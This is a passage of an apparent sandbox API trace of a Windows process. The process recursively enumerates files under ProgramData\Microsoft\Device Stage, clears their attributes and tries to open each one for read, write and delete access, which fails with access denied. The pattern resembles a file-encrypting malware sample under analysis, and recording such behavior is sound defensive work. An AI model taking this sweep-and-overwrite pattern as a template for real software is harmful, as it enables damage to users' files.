	[0092.043] wcscmp (_String1="superbar.png", _String2=".") returned 1
	[0092.043] wcscmp (_String1="superbar.png", _String2="..") returned 1
	[0092.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4719050
	[0092.043] wcscpy (in: _Dest=0x4719050, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0092.043] wcscat (in: _Dest=0x4719050, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0092.043] wcscat (in: _Dest=0x4719050, _Source="superbar.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"
	[0092.043] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20
	[0092.053] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0
	[0092.053] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.053] GetLastError () returned 0x5
	[0092.054] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0
	[0092.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719050) returned 1
	[0092.054] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0
	[0092.054] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f968) returned 1
	[0092.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bac0) returned 1
	[0092.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0092.055] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
	[0092.055] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2=".") returned 1
	[0092.055] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2="..") returned 1
	[0092.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61580
	[0092.055] wcscpy (in: _Dest=0x2d61580, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0092.055] wcscat (in: _Dest=0x2d61580, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\"
	[0092.055] wcscat (in: _Dest=0x2d61580, _Source="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0092.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481bac0
	[0092.055] wcscpy (in: _Dest=0x481bac0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0092.055] wcscat (in: _Dest=0x481bac0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\"
	[0092.055] wcscat (in: _Dest=0x481bac0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*"
	[0092.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031178
	[0092.055] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.055] wcscmp (_String1=".", _String2=".") returned 0
	[0092.055] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.055] wcscmp (_String1="..", _String2=".") returned 1
	[0092.055] wcscmp (_String1="..", _String2="..") returned 0
	[0092.055] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0092.055] wcscmp (_String1="background.png", _String2=".") returned 1
	[0092.055] wcscmp (_String1="background.png", _String2="..") returned 1
	[0092.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718f80
	[0092.055] wcscpy (in: _Dest=0x4718f80, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0092.055] wcscat (in: _Dest=0x4718f80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\"
	[0092.055] wcscat (in: _Dest=0x4718f80, _Source="background.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"
	[0092.056] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20
	[0092.059] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0
	[0092.059] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.059] GetLastError () returned 0x5
	[0092.059] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0
	[0092.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718f80) returned 1
	[0092.059] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0092.059] wcscmp (_String1="behavior.xml", _String2=".") returned 1
	[0092.059] wcscmp (_String1="behavior.xml", _String2="..") returned 1
	[0092.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4717a60
	[0092.059] wcscpy (in: _Dest=0x4717a60, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0092.059] wcscat (in: _Dest=0x4717a60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\"
	[0092.059] wcscat (in: _Dest=0x4717a60, _Source="behavior.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"
	[0092.059] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20
	[0092.059] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0
	[0092.059] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.059] GetLastError () returned 0x5
	[0092.059] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0
	[0092.060] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717a60) returned 1
	[0092.060] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1
	[0092.060] wcscmp (_String1="watermark.png", _String2=".") returned 1
	[0092.060] wcscmp (_String1="watermark.png", _String2="..") returned 1
	[0092.060] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4717990
	[0092.060] wcscpy (in: _Dest=0x4717990, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0092.060] wcscat (in: _Dest=0x4717990, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\"
	[0092.060] wcscat (in: _Dest=0x4717990, _Source="watermark.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"
	[0092.060] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20
	[0092.060] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0
	[0092.060] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.060] GetLastError () returned 0x5
	[0092.060] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0
	[0092.060] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717990) returned 1
	[0092.060] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0
	[0092.060] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.060] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5031178) returned 1
	[0092.060] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bac0) returned 1
	[0092.060] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0092.061] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
	[0092.061] FindClose (in: hFindFile=0x477b4e8 | out: hFindFile=0x477b4e8) returned 1
	[0092.061] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0092.061] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733798) returned 1
	[0092.061] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ffc0) returned 1
	[0092.061] FindNextFileW (in: hFindFile=0x2d87a78, lpFindFileData=0x2e15638 | out: lpFindFileData=0x2e15638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1
	[0092.061] wcscmp (_String1="Task", _String2=".") returned 1
	[0092.061] wcscmp (_String1="Task", _String2="..") returned 1
	[0092.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d77cc0
	[0092.061] wcscpy (in: _Dest=0x2d77cc0, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0092.061] wcscat (in: _Dest=0x2d77cc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\"
	[0092.061] wcscat (in: _Dest=0x2d77cc0, _Source="Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0092.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733730
	[0092.061] wcscpy (in: _Dest=0x4733730, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0092.061] wcscat (in: _Dest=0x4733730, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\"
	[0092.061] wcscat (in: _Dest=0x4733730, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*"
	[0092.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50318b0
	[0092.061] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4e8
	[0092.061] wcscmp (_String1=".", _String2=".") returned 0
	[0092.061] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.061] wcscmp (_String1="..", _String2=".") returned 1
	[0092.061] wcscmp (_String1="..", _String2="..") returned 0
	[0092.061] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1
	[0092.062] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2=".") returned 1
	[0092.062] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2="..") returned 1
	[0092.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61580
	[0092.062] wcscpy (in: _Dest=0x2d61580, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0092.062] wcscat (in: _Dest=0x2d61580, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\"
	[0092.062] wcscat (in: _Dest=0x2d61580, _Source="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0092.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61bb0
	[0092.062] wcscpy (in: _Dest=0x2d61bb0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0092.062] wcscat (in: _Dest=0x2d61bb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0092.062] wcscat (in: _Dest=0x2d61bb0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*"
	[0092.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030308
	[0092.062] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b528
	[0092.066] wcscmp (_String1=".", _String2=".") returned 0
	[0092.066] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.066] wcscmp (_String1="..", _String2=".") returned 1
	[0092.066] wcscmp (_String1="..", _String2="..") returned 0
	[0092.066] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
